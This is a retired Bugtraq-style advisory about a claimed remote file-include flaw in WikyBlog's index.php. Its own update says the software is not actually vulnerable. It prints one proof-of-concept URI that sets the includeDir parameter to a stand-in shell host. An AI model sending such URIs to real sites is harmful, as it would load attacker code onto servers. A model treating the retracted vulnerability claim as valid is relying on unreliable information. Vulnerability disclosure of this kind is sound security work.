RETIRED: WikyBlog Index.PHP Remote File Include Vulnerability

Bugtraq ID:	20350
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 05 2006 12:00AM
Updated:	Oct 13 2006 04:09PM
Credit:	MoHaNdKo is credited with the discovery of this vulnerability.
Vulnerable:	WikyBlog WikyBlog 1.2.3 WikyBlog WikyBlog 1.2.2 WikyBlog WikyBlog 1.2.1
Not Vulnerable:

RETIRED: WikyBlog Index.PHP Remote File Include Vulnerability

WikyBlog is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

WikyBlog 1.2.3 and earlier versions are vulnerable; other versions may also be affected.

Update: This BID is being retired; further information reveals that the application is not vulnerable to this issue.

RETIRED: WikyBlog Index.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof-of-concept URI is available:

http://www.example.com/[scriptPath]/index.php?includeDir=http://SHELLURL.COM

RETIRED: WikyBlog Index.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

RETIRED: WikyBlog Index.PHP Remote File Include Vulnerability

References:

• WikyBlog Homepage (WikyBlog)
  
• WikyBlog <= v1.4 (WN_BASEDIR) Remote File Inclusion Exploit ([email protected])
  
• WikyBlog <= v1.4 (WN_BASEDIR) Remote File Inclusion Exploit (Steven M. Christey)